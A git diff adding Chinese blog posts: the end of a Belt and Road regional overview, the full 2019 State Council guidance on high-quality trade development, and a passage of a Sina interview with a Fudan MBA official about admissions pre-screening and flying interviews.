+成都、郑州、武汉、长沙、南昌、合肥：打造内陆开放型经济高地。 + +郑州、西安：支持建设航空港、国际陆港，加强内陆口岸与沿海、沿边口岸通关合作，开展跨境贸易电子商务服务试点。 + +**沿海和港澳台地区** + +上海：加快推进上海自贸区建设。 + +福建：支持建设21世纪海上丝绸之路核心区。推进福建海峡蓝色经济试验区建设。 + +浙江：推进浙江海洋经济发展示范区建设、舟山群岛新区建设。 + +海南：加大国际旅游岛开发开放力度。 + +港澳：积极参与和助力“一带一路倡议”建设。 + +台湾：为台湾地区参与“一带一路倡议”建设作出妥善安排。 + +深圳前海、广州南沙、珠海横琴、福建平潭：深化与港澳台合作，打造粤港澳大湾区。 + +15个港口建设：加强上海、天津、宁波-舟山、广州、深圳、湛江、汕头、青岛、烟台、大连、福州、厦门、泉州、海口、三亚港口建设。 + +# 参考 ++[一带一路倡议](https://wiki.mbalib.com/wiki/%E4%B8%80%E5%B8%A6%E4%B8%80%E8%B7%AF%E5%80%A1%E8%AE%AE) \ No newline at end of file diff --git a/_posts/2020-04-08-499-tmgf.md b/_posts/2020-04-08-499-tmgf.md new file mode 100644 index 0000000..477d435 --- /dev/null +++ b/_posts/2020-04-08-499-tmgf.md @@ -0,0 +1,110 @@ +--- +layout: post +title: 国务院关于推进贸易高质量发展的指导意见 +pid: 499 +tags: [货代] +--- + +新华社北京11月28日电 + +中共中央 国务院 + +关于推进贸易高质量发展的指导意见 + +（2019年11月19日） + +推进贸易高质量发展，是党中央面对国际国内形势深刻变化作出的重大决策部署，是奋力推进新时代中国特色社会主义事业的必然要求，是事关经济社会发展全局的大事。为加快培育贸易竞争新优势，推进贸易高质量发展，现提出如下意见。 + +一、总体要求 + +以习近平新时代中国特色社会主义思想为指导，全面贯彻党的十九大和十九届二中、三中、四中全会精神，坚持新发展理念，坚持推动高质量发展，以供给侧结构性改革为主线，加快推动由商品和要素流动型开放向规则等制度型开放转变，建设更高水平开放型经济新体制，完善涉外经贸法律和规则体系，深化外贸领域改革，坚持市场化原则和商业规则，强化科技创新、制度创新、模式和业态创新，以共建“一带一路”为重点，大力优化贸易结构，推动进口与出口、货物贸易与服务贸易、贸易与双向投资、贸易与产业协调发展，促进国际国内要素有序自由流动、资源高效配置、市场深度融合，促进国际收支基本平衡，实现贸易高质量发展，开创开放合作、包容普惠、共享共赢的国际贸易新局面，为推动我国经济社会发展和构建人类命运共同体作出更大贡献。 + +到2022年，贸易结构更加优化，贸易效益显著提升，贸易实力进一步增强，建立贸易高质量发展的指标、政策、统计、绩效评价体系。 + +二、加快创新驱动，培育贸易竞争新优势 + +（一）夯实贸易发展的产业基础。发挥市场机制作用，促进贸易与产业互动，推进产业国际化进程。加快发展和培育壮大新兴产业，推动重点领域率先突破。优化升级传统产业，提高竞争力。加快发展现代服务业，特别是生产性服务业，推进先进制造业与现代服务业深度融合。加快建设现代农业。培育具有全球影响力和竞争力的先进制造业集群。 + +（二）增强贸易创新能力。构建开放、协同、高效的共性技术研发平台，强化制造业创新对贸易的支撑作用。推动互联网、物联网、大数据、人工智能、区块链与贸易有机融合，加快培育新动能。加强原始创新、集成创新。充分利用多双边合作机制，加强技术交流与合作。着力扩大知识产权对外许可。积极融入全球创新网络。 + +（三）提高产品质量。加强质量管理，积极采用先进技术和标准，提高产品质量。推动一批重点行业产品质量整体达到国际先进水平。进一步完善认证认可制度，加快推进与重点市场认证和检测结果互认。完善检验检测体系，加强检验检测公共服务平台建设。健全重要产品追溯体系。 + +（四）加快品牌培育。大力培育行业性、区域性品牌。在重点市场举办品牌展览推介，推动品牌产品走向世界。加强商标、专利等知识产权保护和打击假冒伪劣工作，鼓励企业开展商标和专利境外注册。强化品牌研究、品牌设计、品牌定位和品牌交流，完善品牌管理体系。加强商标、地理标志品牌建设，提升中国品牌影响力。 + +三、优化贸易结构，提高贸易发展质量和效益 + +（五）优化国际市场布局。继续深耕发达经济体等传统市场。着力深化与共建“一带一路”国家的贸易合作，拓展亚洲、非洲、拉美等市场。逐步提高自贸伙伴、新兴市场和发展中国家在我国对外贸易中的占比，扩大与周边国家贸易规模。综合考虑市场规模、贸易潜力、消费结构、产业互补、国别风险等因素，引导企业开拓一批重点市场。 + +（六）优化国内区域布局。以“一带一路”建设、京津冀协同发展、长江经济带发展、长江三角洲区域一体化发展、粤港澳大湾区建设、黄河流域生态保护和高质量发展、推进海南全面深化改革开放等重大战略为引领，推动区域间融通联动。推动东部地区新旧动能转换，实现贸易高质量发展。支持中西部和东北地区加快发展，承接国内外产业转移，提高开放型经济比重。提升边境经济合作区、跨境经济合作区发展水平。 + +（七）优化经营主体。鼓励行业龙头企业提高国际化经营水平，逐步融入全球供应链、产业链、价值链，形成在全球范围内配置要素资源、布局市场网络的能力。支持推动中小企业转型升级，聚焦主业，走“专精特新”国际化道路。 + +（八）优化商品结构。大力发展高质量、高技术、高附加值产品贸易。不断提高劳动密集型产品档次和附加值。优化资本品、消费品贸易结构，扩大中间品贸易规模，发展和保护全球产业链。加快推动智能制造发展，逐步从加工制造环节向研发设计、营销服务、品牌经营等环节攀升，稳步提高出口附加值。 + +（九）优化贸易方式。做强一般贸易，增强议价能力，提高效益和规模。提升加工贸易，鼓励向产业链两端延伸，推动产业链升级；推进维修、再制造、检测等业务发展；利用互联网、大数据等信息技术完善监管。发展其他贸易，加快边境贸易创新发展和转型升级，探索发展新型贸易方式。 + +四、促进均衡协调，推动贸易可持续发展 + +（十）积极扩大进口。适时进一步降低进口关税和制度性成本，激发进口潜力，优化进口结构。扩大先进技术、设备和零部件进口。鼓励国内有需求的资源性产品进口。支持日用消费品、医药和康复、养老护理等设备进口。促进研发设计、节能环保、环境服务等生产性服务进口。 + +（十一）大力发展服务贸易。深化服务贸易领域改革和开放，持续推进服务贸易创新发展试点，完善促进服务贸易发展的管理体制和政策体系。加快数字贸易发展。推进文化、数字服务、中医药服务等领域特色服务出口基地建设。完善技术进出口管理制度，建立健全技术贸易促进体系。探索跨境服务贸易负面清单管理制度。加强服务贸易国际合作，打造“中国服务”国家品牌。 + +（十二）推动贸易与双向投资有效互动。持续放宽外资市场准入，鼓励外资投向新兴产业、高新技术、节能环保、现代服务业等领域，充分发挥外资对产业升级和外贸高质量发展的带动作用。深化国际产能和装备制造合作，培育一批产业定位清晰、发展前景好的境外经贸合作区。大力发展对外工程承包，带动装备、技术、标准、认证和服务走出去。 + +（十三）推进贸易与环境协调发展。发展绿色贸易，严格控制高污染、高耗能产品进出口。鼓励企业进行绿色设计和制造，构建绿色技术支撑体系和供应链，并采用国际先进环保标准，获得节能、低碳等绿色产品认证，实现可持续发展。 + +五、培育新业态，增添贸易发展新动能 + +（十四）促进贸易新业态发展。推进跨境电子商务综合试验区建设，复制推广成熟经验做法。完善跨境电子商务零售进出口管理模式，优化通关作业流程，建立全口径海关统计制度。在总结试点经验基础上，完善管理体制和政策措施，推进市场采购贸易方式试点。完善外贸综合服务企业发展政策，推动信息共享和联合监管。鼓励发展其他贸易新业态。 + +（十五）提升贸易数字化水平。形成以数据驱动为核心、以平台为支撑、以商产融合为主线的数字化、网络化、智能化发展模式。推动企业提升贸易数字化和智能化管理能力。大力提升外贸综合服务数字化水平。积极参与全球数字经济和数字贸易规则制定，推动建立各方普遍接受的国际规则。 + +（十六）加快服务外包转型升级。健全服务外包创新机制，培育创新环境，促进创新合作。加快服务外包向高技术、高附加值、高品质、高效益方向发展。发挥服务外包示范城市创新引领作用，促进服务外包产业向价值链中高端转型升级。积极发展设计、维修、咨询、检验检测等领域服务外包，促进生产性服务贸易发展。 + +六、建设平台体系，发挥对贸易的支撑作用 + +（十七）加快培育各类外贸集聚区。推进国家外贸转型升级基地建设，依托产业集聚区，培育一批产业优势明显、创新驱动突出、公共服务体系完善的基地。加快加工贸易转型升级示范区、试点城市和梯度转移重点承接地发展。推进国家级新区、经济技术开发区、高新技术产业开发区、海关特殊监管区域等各类开放平台建设，创新管理制度。 + +（十八）推进贸易促进平台建设。办好中国国际进口博览会，不断提升其吸引力和国际影响力。拓展中国进出口商品交易会（广交会）、中国国际服务贸易交易会（京交会）等综合性展会功能，培育若干国际知名度高、影响力大的境内外展会。培育国家进口贸易促进创新示范区，创新监管制度、服务功能、交易模式，带动周边地区增强进口能力。 + +（十九）推进国际营销体系建设。鼓励企业针对不同市场、不同产品建设营销保障支撑体系，促进线上线下融合发展。完善售后服务标准，提高用户满意度，积极运用物联网、大数据等技术手段开展远程监测诊断、运营维护、技术支持等售后服务。推进国际营销公共平台建设。 + +（二十）完善外贸公共服务平台建设。加强对重点市场相关法律、准入政策、技术法规、市场信息等收集发布。支持各级政府、行业组织及企业建设不同层级、不同领域的公共服务平台，加强公共服务供给。 + +（二十一）构建高效跨境物流体系。推进跨境基础设施建设与互联互通，共同推动运输便利化安排和大通关协作。加快发展智能化多式联运。加快智慧港口建设。鼓励电商、快递、物流龙头企业建设境外仓储物流配送中心，逐步打造智能物流网络。 + +七、深化改革开放，营造法治化国际化便利化贸易环境 + +（二十二）深化管理体制改革。进一步推进外贸体制改革，加强事中事后监管。完善政策协调机制，加强财税、金融、产业、贸易等政策之间衔接。推动世界贸易组织《贸易便利化协定》在国内实施。优化通关、退税、外汇、安全、环保管理方式，推进国际贸易“单一窗口”建设和应用，落实减税降费政策，加快打造国际一流、公平竞争的营商环境。 + +（二十三）充分发挥自由贸易试验区示范引领作用，高水平建设中国特色自由贸易港。以制度创新为核心，推动自由贸易试验区先行先试，开展首创性、差别化改革探索，加快形成法治化国际化便利化的营商环境和公平开放统一高效的市场环境。探索实施国际通行的货物、资金、人员出入境等管理制度。积极复制推广改革试点经验。加快探索建设自由贸易港，打造开放层次更高、营商环境更优、辐射作用更强的开放新高地。 + +（二十四）加强知识产权保护和信用体系建设。加大对侵权违法行为的惩治力度。加强知识产权保护国际合作，积极参与相关国际规则构建。完善海外知识产权维权援助机制。推进商务、知识产权、海关、税务、外汇等部门信息共享、协同执法的监管体系建设。建立经营主体信用记录，实施失信联合惩戒。 + +八、坚持共商共建共享，深化“一带一路”经贸合作 + +（二十五）深化贸易合作。拓宽贸易领域，推动优质农产品、制成品和服务进口，促进贸易平衡发展。发展特色服务贸易。推进中欧班列、西部陆海新通道等国际物流和贸易大通道建设。发展“丝路电商”，鼓励企业在相关国家开展电子商务。积极开展促贸援助。推进商建贸易畅通工作机制。 + +（二十六）创新投资合作。拓宽双向投资领域，推动绿色基础设施建设、绿色投资，推动企业按照国际规则标准进行项目建设和运营。鼓励合作建设境外经贸合作区、跨境经济合作区等产业园区，促进产业集群发展。推动新兴产业合作。推进商建投资合作工作机制。 + +（二十七）促进贸易投资自由化便利化。积极开展共建“一带一路”经贸领域合作、三方合作、多边合作，推进合作共赢的开放体系建设，加强贸易和投资领域规则标准对接。推动削减非关税壁垒，提高技术性贸易措施透明度，提升贸易投资便利化水平。 + +九、坚持互利共赢，拓展贸易发展新空间 + +（二十八）建设性参与全球经济治理，推动区域、次区域合作。维护以规则为基础的开放、包容、透明、非歧视性等世界贸易组织核心价值和基本原则，反对单边主义和保护主义，推动对世界贸易组织进行必要改革。积极参与多边贸易规则谈判，维护多边贸易体制的权威性和有效性。深入参与二十国集团、金砖国家、亚太经合组织、湄公河次区域经济合作、大图们倡议等多边和区域、次区域合作机制，积极贡献更多中国倡议、中国方案。 + +（二十九）加快高标准自由贸易区建设。不断扩大自由贸易区网络覆盖范围，加快形成立足周边、辐射“一带一路”、面向全球的高标准自由贸易区网络。推动与世界重要经济体商建自由贸易区进程，努力提高开放水平，扩大市场准入，提高规则标准。 + +十、加强组织实施，健全保障体系 + +（三十）加强党对推进贸易高质量发展工作的全面领导。建立推进贸易高质量发展工作机制，整体推进贸易高质量发展，工作机制办公室设在商务部。商务部会同有关部门，加强协调指导，制定行动计划。 + +（三十一）健全法律法规体系。落实全面依法治国基本方略，不断完善贸易及相关领域国内立法，为贸易高质量发展提供法治保障。促进国内经贸立法与国际经贸规则的良性互动。加强贸易政策合规工作。 + +（三十二）加大政策支持力度。在符合世界贸易组织规则前提下，发挥财政资金对贸易发展的促进作用。结合增值税改革和立法，逐步完善出口退税机制。在依法合规、风险可控、商业可持续前提下，支持金融机构有序开展金融创新，提供多样化、综合化金融服务。进一步发挥进出口信贷和出口信用保险作用。稳步提高跨境贸易人民币结算比例，扩大经常项目人民币跨境使用，拓宽人民币跨境投融资渠道。 + +（三十三）加强贸易领域风险防范。加快出口管制体系建设，强化最终用户最终用途管理。继续敦促相关国家放宽对华出口管制。建立出口管制合规体系。完善对外贸易调查制度。健全产业损害预警体系。妥善应对贸易摩擦。提升运用贸易救济规则能力和水平。研究设立贸易调整援助制度。加强风险监测分析预警，引导企业防范风险。 + +（三十四）完善中介组织和智力支撑体系。加强与国际组织、各国各地区相关机构和工商业界交流合作，充分发挥行业组织、贸促机构在贸易促进、信息交流、标准体系建设、行业自律、应对摩擦等方面的作用，助力外贸高质量发展。设立推进贸易高质量发展专家咨询委员会。强化外贸发展人才支撑。 + +中央和国家机关有关部门要按照职能分工，研究具体政策措施，加强协同配合，形成工作合力。各级党委和政府要切实加强组织领导，强化责任担当，结合本地区实际进一步明确重点任务，抓好相关工作落实。 \ No newline at end of file diff --git a/_posts/2020-04-08-500-fd-mba.md b/_posts/2020-04-08-500-fd-mba.md new file mode 100644 index 0000000..01b6690 --- /dev/null +++ b/_posts/2020-04-08-500-fd-mba.md @@ -0,0 +1,121 @@ +--- +layout: post +title: 复旦MBA访谈：六方面成就青年精英未来领袖 +pid: 500 +tags: [考研] +--- + +复旦MBA访谈：六方面成就青年精英未来领袖 + +2013年MBA招生季临近，各商学院(微博)新出台的招生政策和培养方案成为广大考生关注的焦点，为帮助考生了解最新资讯，新浪商学院特别策划“2013年MBA招生访谈”节目。本期邀请的是来自复旦大学MBA(微博)项目副主任孙龙老师(微博)，在线解读复旦MBA的招生政策及办学特色，以下是访谈实录。 + +全面预审 飞行面试 + +主持人唐敏：各位新浪网友大家好！您现在关注到的是由新浪商学院举办的2013MBA高端访谈系列节目，今天非常有幸请到了复旦大学MBA项目副主任孙龙老师。 + +孙龙：各位新浪网友大家好，非常高兴再一次又一年来到新浪商学院频道这样的访谈节目，每年非常珍惜新浪给到大家这样一个平台一个机会，希望能够在简短的采访当中，能够给到大家传递最全面，大家最希望了解的信息。谢谢。 + +主持人唐敏：孙老师咱们这次旅程比较辛苦，您这次来专门为了飞行面试。 + +孙龙：是。 + +主持人唐敏：复旦是从去年提倡飞行面试，今年计划走几个城市？ + +孙龙：复旦的飞行面试是去年从改成飞行面试，之前一直有做，但做的不是很多，叫异地面试。从去年开始把飞行面试推广到很多城市，今年覆盖十个城市。这十个城市在上海长三角以外，最近城市是合肥，最近去过安徽省会合肥做飞行面试，飞行面试帮助异地同学申请全日制MBA时更方便申请，结合今年全电子化的申请，可以做到他所在的城市完成所有的申请过程。包括提交材料，因为现在全电子化的提交，网上提交材料，我们去这个城市给他做飞行面试，回来以后一周之后会给这个同学分数线的信息，接下来可以参加联考，整个申请过程中，现在除了一月份联考要来上海，整个过程中都省去了旅途奔波这样一个劳顿。这也是复旦MBA一方面希望广纳贤才的表示，另一方面也是对于整个社会经济成本的节约，毕竟我们飞一次比当地很多学生各飞一次方便的多。 + +主持人唐敏：这种出行方式也很环保。在当地学生非上海本土学生，所有资料提交，包括面试只要在本地完成不用飞到上海，所有提交面试资料都是安排在本地吗？ + +孙龙：今年复旦MBA做了全面预审的据测，第一批面试很多同学惊讶的发现，从他们签到开始，以前印象中签到排长队找名字签到，现在这套程序不用，考生会在系统得到二维码，到现场通过平板电脑进行简单扫描，马上确认考生到场，接下来整个面试环节，考官手里拿平板电脑，随时调阅他的所有材料，所有材料是电子化的，不用递交一张纸，每年将近节省50棵树木的A4纸张，既环保对我们流程又方便，今年开始全面推开了。 + +主持人唐敏：移动互联网跟最新科技的结合运用，也是省了很多考生的时间。我们在和很多商学院老师聊时提到这块，他们没有像复旦做飞行面试，他们提到提前面试，这是特别耗费功夫和精力的事情，不仅是靠学生，给学生准备时间，让他联考前了解各个院校，但对于老师特别辛苦，您觉得辛苦吗？ + +孙龙：上海从另外一所学校从08年做预审，复旦做的最彻底，从08年到现在，现在做全面预审，所有申请复旦MBA学生，联考之前必须参加预审，先联考复试在复旦机会已经没有了。我们原来面试的量一年，因为当时是差额复试，比如说录取400人，只要面试600-700人这样。现在差不多每年将近要面试1600-1800人，等于我们工作量翻了三倍还不止。但对于复旦MBA来说，我们认为预审还是非常必要的，我们现在很高兴看到很多学校开始走出这一步，这一步走出来，一方面对考生是非常好的机会，更加类似于发达国家地区商学院的全申请制，把这个选择权从院校的手里交到学生手里。学生如果真的对几所院校感兴趣，可以同时申请预审，非常优秀的同学会拿到好几张Offer，他再根据自己性格爱好选择一项。变相我们把选择权交到(考生)手里，这是一方面对考生非常好。对院校非常好，可以前期宣传之后审核阶段，把最适合你的学生录取进来吸引他进来。我们复旦数据是这样，简单比较录取前后数据，材料审核阶段通过预审和预审之前学生的我们说背景素质的打分，提高了大概5个百分点，蛮高的。面试阶段的评分提高了7个百分点，意味着我们录取进来学生素质更高。不要小看5-7个百分点，复旦本身做预审之前，每年录取分数线在全国基本上数一数二，整个选拔流程，已经非常挑剔了。就在这种挑剔的情况下，我现在做了预审以后，我们复旦MBA学生素质，在背景审核阶段再提高5%，面试阶段再提高7%，对我们是非常大的成绩，这是对的方向我们坚持走。现在复旦预审已经走到了全面预审的一步。 + +主持人唐敏：刚才我们谈到很多飞行面试，这块可能有一些考生有一些疑问，毕竟飞行面试很多时候是在本地举行，在合肥或在北京在上海，别人会不会觉得这个标准不一样，有可能在合肥因为面试老师不一样，在北京老师不一样，在上海不一样，会不会如果我在上海比例反而大一些？ + +孙龙：这个顾虑可以打消。 + +复旦MBA是非常标准的评审体系，有严格的打分项。跟我们在上海用的打分项是一致的，尤其今年对上海本地参加全日制，飞行面试主要针对全日制，对上海本地全日制报考的考生来说，他们只需要做深度的个人面试，我们在全日制学生里取消小组面试。深度的个人面试大概持续30-45分钟。在这30-45分钟里，用到的标准面试的方式其实一样。 + +相反，不是劣势反而是优势，在于我们面试的面试官到异地，如果有非常优秀的考生，对于面试官感觉他是眼前一亮，比如我们在合肥在移动面试的地方都看到非常优秀的考生。从班级构成，我们希望复旦MBA班级构成更加多元化，如果来自上海长三角以外考生，如果非常优秀，他被录取的几率更大，这个角度异地考生不用有太多这方面的顾虑。 + +主持人唐敏：一方面在挑选MBA，有点像选秀的节目。对于一些上海本土的学生，他觉得上海竞争压力很大，我选择长三角以外的地方，我参加飞行面试，或者在上海被拒绝一次，再去别的地方参加可以吗？ + +孙龙：每年飞行面试只能参加一次，否则对我们是资源的浪费。异地面试我们面试官会问他为什么做这样的选择，从他工作的背景各方面信息可以看得到。这种情况目前来说，我们没有看见这种情况，上海的考生专程为了参加移动面试到了异地，背后还有一个比较统一的我们面试标准基本统一，我们的面试官非常资深，包括我本人飞行面试我个人也会做面试官，这些标准对上海同学异地同学都是统一的，我们有统一的基础，有一个统一的数据库，学生得到的评价相对来说是比较一致的。 + +主持人唐敏：不管你是在哪里进行面试，首先，你只能参加一次面试，一次面试如果OK，你就能够得到Offer。另外，不管你挑选哪个城市都是一样的。没有必要废小脑筋挑选城市更好一些，或者如果挑选其它城市，不如好好准备。之前叫移动面试去年飞机面试，主要面对全日制学生，在中国有不可回避的问题，MBA是地域性特别强的教育。去年招了通过飞行面试招来的全日制学生，有多少是来自于上海长三角以外的呢？ + +孙龙：从我们去年学生构成来看，我们来自长三角地区以外占到45%以上。 + +主持人唐敏：指全日制的还是？ + +孙龙：全日制的。在职班考虑上课本身限制，长三角以外地区，外地学生只有10%几的样子，要每周上课，长三角地区学生，会有长三角全周末班，一个班次是5、60人，长三角以外Part time的学生不是太多，全日制的同学已经达到40%以上。刚才我说40%的比例是来自于中国学生，去年Full time学生来自九月份刚入学的这批，20%是来自中国大陆地区以外的，我们不希望全日制的学生来源单一，我们尽量把他更加的多元化，这种多元化如果只是靠挑选来实现，对申请人是不公平的，除了挑选，吸收吸引考生时我们要做到非常多元化，使得我们比较多元化的申请学生的群体，达到最后录取的多元化。 + +主持人唐敏：这块确实做的工作非常多，来源40%，这也是对飞行面试的肯定，包括20%是来自中国大陆以外的其他国家。全日制班学生构成非常多样化，不仅仅是本土来自各行各业也比较多。节目一开始聊了很多关于飞行面试的一些事，可能有更多人报名，像您说的之前通过联考再面试，现在整体放开，整体面试的比例已经提高到4倍以上。我想大家报考复旦MBA，必然有他们认可的复旦MBA的特色和优势。您给大家介绍一下吧。 + +六大方面成就青年精英、未来领袖 + +孙龙：您这个问题非常好，从预审本身来说，我们一直说预审是准申请制的流程，到准申请制的地步，这对考生来说是一个好事，一方面我刚才提到，是把选择权交到考生手里，对院校也是好事，可以促进院校提升自己内部实力，多做内功。吸引考生最重要的是做教育产品本身，不是考试过程中耍一些名额等等方面招生技术方面的一些改进和更新。就让MBA回归到MBA教育本身去。 + +从复旦来说，我们从1991年开始做MBA，我们当时一直坚定一个方向，我们要培养未来青年精英领袖，他们要承担社会责任，对项目学生有一个要求，勇担社会责任，成就未来精英。在这样一个目标指引下面，复旦MBA从1991年到现在21年时间，大的步调没有发生大的变化，很少看到复旦MBA突然更新理念和什么东西，复旦MBA一开始定位整个方向非常明确。21年来，复旦MBA一直在六个点上持续发力，持续建设我们自己内部，打造内部高端的MBA教育产品。六个方面，一个是我们先进的教学模式，和我们的师资的队伍，在这方面我们持续有投入，包括从1996年开始，我们跟麻省理工学院斯隆管理学院进行合作以后，我们每年持续派老师去麻省理工做半年甚至一年的学习，他们在那边把最先进的课程内容授课方式，搬回国内加入本土元素，把这个课程呈现给学生，从96年开始我们做这个动作。 + +第二，基于能力提升的第二课堂以及紧密的校企合作的活动，这个也是现在在做的。做到现在比较新的操作方式就是从前年，我们开始全面推开复旦MBA iLab商业实验室，主要针对全日制学生，他们在第二学期会给企业做实战性的咨询项目，学生组成团队老师指导，是比较新的跟企业合作方式，我们的伙伴企业也会得益于学生团队的工作。 + +第三，和海外名校做持续的紧密的多样性的合作，比如联合的活动，联合研究的活动，包括现在跟麻省理工斯隆管理学院，还有耶鲁的管理学院，都有我们第二学位的选择，对全日制学生，可以选择第二学年选择去麻省理工就读麻省理工管理学硕士(MSMS)学位，在两年之内可以拿到两个学位，复旦MBA麻省理工或耶鲁大学的MAM学位。我们现在已经有两位学生去耶鲁就读MAM学位，九月份入学耶鲁。 + +另外方面是这样几个方面，我们有一个非常庞大优质的校友网络，这个是依托于复旦整个大学的背景，我们有非常广泛的网络，我们管理学院自身已经成立包括纽约、新加坡，成立了12个校友联络处，比如学生到了纽约、香港、台湾等等，当地的联络处会给学生提供帮助，我们的校友联络处是在所有商学院(微博)中做的最好的。复旦我们的培养目标，让他勇担社会责任，成就未来精英，学院的院训是笃学立业，厚德惠人。短期而言，我们希望看到他们事业的成长；长远来讲我们希望他们承担社会责任，这是渐进式的一种方式，通过人文背景的熏陶，包括我们一直说复旦有去功利化的人文气息在里面，加在商学院的学生身上，会给商学院学生设定长远的发展目标非常有利，这是依托于百年复旦的背景。 + +最后还有一点，我们复旦MBA项目，一直坚持职业精神和社会责任这样一种复旦MBA的文化，从我们的不管是喊出来的口号，还是从具体培养方式上面，都有这方面的内容。刚才提到简单我说了六个方面，这六个方面不是说我们会持续再提出新的口号。复旦MBA是这样的，我们认为商学院MBA学生培养它应该是全面的，他是一个管理通才，我们认为应该在这六个方面准备好这个平台，让学生通过这个平台获得长远的提升，除了这两年教育以外，着眼未来发展长远提升，复旦MBA一直在这六个方面持续加强，这也是为什么学生比较认可复旦的方面。 + +主持人唐敏：您说我们从91年开始MBA项目，当时提出培养“青年精英，未来领袖”，我们知道过去21年里，中国MBA经历非常大的波折，从最开始MBA项目，像一个硕士项目，发展到现在MBA项目，更多对企业中高级中层，对自我提升的途径。这块从时间里面上它是有变化的，从生源也是有变化，生源更加年轻。我们理念一直不变，对咱们老师要求也不一样，这块是怎么来做的呢？ + +孙龙：一个培养的项目，我们目标锁定“青年精英，未来领袖”，除了我们坚守不变，我们坚持培养出来的学生要有职业化的精神，同时有社会承担社会责任，除了这个方向不变，我认为MBA项目，如果是做到非常有思维有想法的项目，它要顺时而变，社会整个在变，经济形势在变，这个社会在不同时间段呼唤不同的人才应运而生，我们项目要顺应甚至引领社会的变化，培养青年精英，社会领袖，不是一成不变的想法，我们会对培养目标以及提供课程理解，随着年份加深，逐年会有不同程度新的认识，我们也会对社会的发展及商业发展有我们自己的预判。也会把这些理解回过来加入学生培养中去，我们Part time学生这几年没有特别年轻化的趋势，我们Part time平均年限在8年左右平均工作经验。Full time的学生是4-5年的工作年限，Full time平均工作年限在逐步降低，是整个经济环境发展带来的，工作发展环境非常快，已经工作几年的人来说，放弃职业轨迹，回到学校读两年书，他会计算机会成本，还有生活经济方面的压力，这个是非常能够理解的。 + +对于年轻学生来说，他越来越多的考虑到，在工作三年左右来进行完整的MBA的学习，学生人群会有些变化。恰恰是针对这些越来越年轻的Full time的学生，你可以看到复旦MBA做出了对于培养方案的一些改变，比如说我们实践方面的加强，其实就是应对这样一个变化的。我们认为我们挑选到了非常有领导力潜质、发展潜质的学生，这些学生到了复旦MBA以后，必须要给到他未来发展的动力，对这些学生工作经验3-5年，未来回到职场有更好的表现，那么这两年就要做MBA实践项目，做咨询项目，做创业白皮书就是我们说的商业计划书，或者自己启动一个组成团队启动行业研究项目，有老师做指导，他没有离开实践，没有离开企业。我们复旦MBAFull time学生，从第二个学期开始就没有离开过企业没有离开过行业，二学期结束后，他们会参加暑期实习，第三学期要么做交流交换，是很好的提升，留在上海同时在做实习。最后一学期要么实习要么找工作，同时完成他的毕业论文，Full time学生二学期开始就没有离开过企业，因此我们Full time学生毕业时间点出去面对企业时，我们老师非常放心，不用担心，不会出现像以前那种MBA的学生会眼高手低，会理论大于实际，他们在二学期开始没有离开过企业，他完全知道理论和实践的结合，会有哪些需要注意的问题。他自己有这个理解，同时工作中也会注意，这是我们应对学生层次构成变化以后，做出非常大的调整动作。 + +主持人唐敏：刚才我们提到Full time和Part time。在国外，MBA和EMBA这块跟国内是不太一样的，EMBA不叫高级MBA，对在职学生进行工商管理教育这样一个项目。但国内很奇怪，国内更多考虑到经济形势，把MBA分成在职MBA和Full time的MBA，对高级管理人员有EMBA。今天谈了很多关于Full time全日制相关的，对在职MBA同学来说，我们在人才培养上会不会有一些变化不一样的地方呢？ + +孙龙：针对不同学生群体一定有不同的培养方案，MBA课程是一方面，还有校企联合的第二课堂。我们对Part time学生培养，更主要集中我们在给他两年两年半时间里，提供系统的管理知识体系。对Part time学生有丰富管理经验工作经验，比如他们都在7、8年工作经验，他们急需在职场上有自我的提升，这个提升有内在的有外在的，对于他们这个需求，这两年半的MBA项目，更多帮助他梳理过去7到8年的工作，帮他把过去沉淀下来的经验，能够用一套体系把它竖起来，可以指导他未来的工作。讲的比较形象，我们有一个老师和校友都曾经提到，Part time读书像过去工作中已经有散落的珍珠，复旦MBA挑选出的Part time的学生都是非常优秀的，他们都有经验像一颗颗珍珠散落在自己的记忆、能力里面，通过两年半的学习，我们提供一条主线，可以把散在地上的珍珠串起来，形成非常好看的实用的珍珠项链，这是Part time MBA学习最大的功能。 + +另外，Part time学生把学生选拔出来把他们放在一起，这个过程本身能够体现非常好的价值，非常好的学生会相互激励，大家都认可复旦MBA文化的一群人在一起，大家秉承发展自己未来造福整个社会，让社会变得更加美好。“青年精英，未来领袖”，“勇担社会责任，成就未来精英”，就是这样一个使命，如果大家有共同的使命的话，这些人会相互激励，这些人在一起共同学习两年半，本身对他们是一个提升。Part time和Full time学习重点情况不一样，他有他的侧重，他有他的优势，比如Part time学生两年两年半的学习没有离开社会实践没有离开企业，每天和企业最前沿的实践结合在一起。Part time学生可以把每天遇到的问题，拿到课上和老师学生进行交流，马上可以运用到工作中去。对Part time、还是Full time学生会提供第二课堂的活动配套，老师授课会根据人群情况，会调整自己授课方式和内容。 + +考察商业敏感度，思考习惯 + +主持人唐敏：像散落的珍珠通过梳理串起来，形成一条珍珠项链，这个形容好美。对MBA学生来说是这样，他们本身遇到很多问题，通过知识的梳理让他们在本行业走的更深，通过梳理，让他们发现除了原来自己从事的行业，还有能挖掘他潜能的行业。这两种不同的学生有什么教学方式模式，回归到学生本人，对学生挑选标准是否不一样？前一段时间发生互联网大战，苏宁和京东的网上大战。咱们这块反应速度非常快，大战出来以后没多长时间咱们很快做出积极反应，把它运用到了面试中去。是不是所有的面试都用这套标准？ + +孙龙：我们挑选同学时，得有不同方式。因为Full time学生，既然给他提供很多实践，包括系统的理论教育，入学挑选时，不应该强调他的理论教育，不应该强调他过去实践的高度，而看他学习能力和未来发展潜质。从Part time学生来说，既然主要的培养的方式是帮助他梳理，帮助他除了知道做了什么还要知道为什么做，这种挑选方式，需要他之前有积累很多经验。这个挑选方式是完全不同的，确实如你所说。 + +苏宁电器和京东这场大战的案例，完全用在Part time的学生选拔。从今年开始复旦全日制的学生选拔当中，不做组面。为什么用电商大战这个案例，因为这个案例非常新，让很多学生没有准备的余地。首先我们在组面当中非常忌讳表演，用了新的案例以后，基本上杜绝学生之前做准备，押题也没有机会押所有题，一方面杜绝考试中表演这种动作。另外Part 